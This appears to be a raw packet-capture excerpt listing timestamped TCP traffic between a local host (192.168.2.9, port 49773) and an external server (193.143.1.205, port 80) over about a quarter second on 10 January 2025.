Jan 10, 2025 21:19:32.264219046 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.264230013 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.264242887 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.264262915 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.264281034 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.264282942 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.264297962 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.264308929 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.264322042 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.264344931 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.264377117 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.264396906 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.264408112 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.264420033 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.264441013 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.265472889 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.265527010 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.265537977 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.265549898 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.265552998 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.265578985 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.265650034 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.265662909 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.265686035 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.265691996 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.265697002 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.265707970 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.265714884 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.265718937 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.265731096 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.265742064 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.265748978 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.265753984 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.265780926 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.265799046 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.267149925 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.304944038 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.304965019 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.304976940 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.304989100 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.305001974 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.305015087 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.305015087 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.305059910 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.305084944 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.305481911 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.305493116 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.305509090 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.305552006 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.354720116 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.354773045 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.354782104 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.354801893 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.354815960 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.354824066 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.354837894 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.354846001 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.354872942 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.354882956 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.354882956 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.354893923 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.354904890 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.354916096 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.354918957 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.354948044 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.354948044 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.354958057 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.354969025 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.354984045 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.355015993 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.355019093 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.355089903 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.355102062 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.355113029 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.355125904 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.355127096 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.355139017 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.355150938 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.355160952 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.355169058 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.355185032 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.355195999 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.355206966 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.355218887 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.355248928 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.389008999 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.389046907 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.389058113 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.389069080 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.389069080 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.389084101 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.389096975 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.389115095 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.389115095 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.389128923 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.389138937 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.389168024 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.389175892 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.389183044 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.389192104 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.389214993 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.389219046 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.389236927 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.389240026 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.389247894 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.389295101 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.389300108 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.389337063 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.389750957 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390017033 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390099049 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390100956 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390113115 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390125036 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390139103 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390150070 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390151024 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390162945 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390176058 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390177965 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390213013 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390248060 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390259027 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390269995 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390280008 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390289068 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390299082 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390309095 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390317917 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390325069 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390328884 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390340090 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390361071 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390363932 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390372038 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390382051 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390393972 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390396118 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390404940 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390424967 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390429020 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390439987 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390440941 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390450001 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390455961 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390460968 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390471935 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390484095 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390495062 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390505075 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390507936 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390537024 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390537977 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390547991 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390557051 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390564919 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390572071 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390573978 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390582085 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390598059 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390628099 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390708923 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390721083 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390732050 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390743971 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390748024 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390754938 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390767097 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390774012 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390779018 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390789986 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390801907 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390801907 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390814066 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390821934 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390825987 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390837908 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390846968 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390860081 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390866995 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390878916 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390891075 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390902042 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390908957 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390913010 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.390932083 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.390944004 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.391041040 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391053915 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391063929 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391076088 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391083956 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.391086102 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391098022 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391109943 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.391109943 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391117096 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391122103 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391127110 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391139030 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391149044 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.391149998 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391164064 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391175032 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391185999 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391194105 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.391197920 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391210079 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391216993 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.391222954 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391231060 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.391268969 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.391295910 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391318083 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391350985 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.391886950 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391899109 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391911030 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391917944 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391927958 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391936064 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391947985 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391958952 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.391959906 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.391988039 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.392005920 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.392308950 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.392321110 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.392333031 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.392345905 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.392359018 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.392362118 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.392369032 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.392381907 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.392385006 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.392395020 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.392426014 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.392533064 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.395488977 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.413727999 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.441694975 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.441706896 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.441720963 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.441731930 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.441745996 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.441766024 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.441788912 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.441801071 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.441801071 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.441812992 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.441817999 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.441847086 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.441889048 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.441898108 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.441909075 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.441916943 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.441922903 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.441940069 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.441965103 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.441992044 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.442002058 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.442013025 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.442020893 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.442060947 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.475884914 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.475903034 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.475914001 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.475924969 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.475936890 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.475944042 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.475979090 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476049900 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476066113 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476077080 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476079941 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476089001 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476100922 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476105928 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476111889 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476124048 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476130962 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476134062 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476145983 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476157904 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476159096 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476167917 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476172924 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476201057 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476257086 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476309061 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476320982 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476334095 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476341009 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476363897 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476378918 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476401091 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476437092 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476475954 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476526976 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476536989 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476557016 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476560116 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476567030 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476584911 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476629019 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476660013 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476664066 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476706028 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476716995 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476727962 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476736069 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476741076 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476758957 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476759911 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476768970 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476783037 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476787090 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476824999 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476844072 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476854086 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476866961 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476876974 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476878881 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476888895 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476908922 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476910114 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476922035 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476933002 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476938009 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476947069 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.476963997 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.476996899 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477009058 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477026939 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477030039 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477041006 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477054119 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477055073 CET	49773	80	192.168.2.9	193.143.1.205
Jan 10, 2025 21:19:32.477066994 CET	80	49773	193.143.1.205	192.168.2.9
Jan 10, 2025 21:19:32.477087021 CET	49773	80	192.168.2.9	193.143.1.205
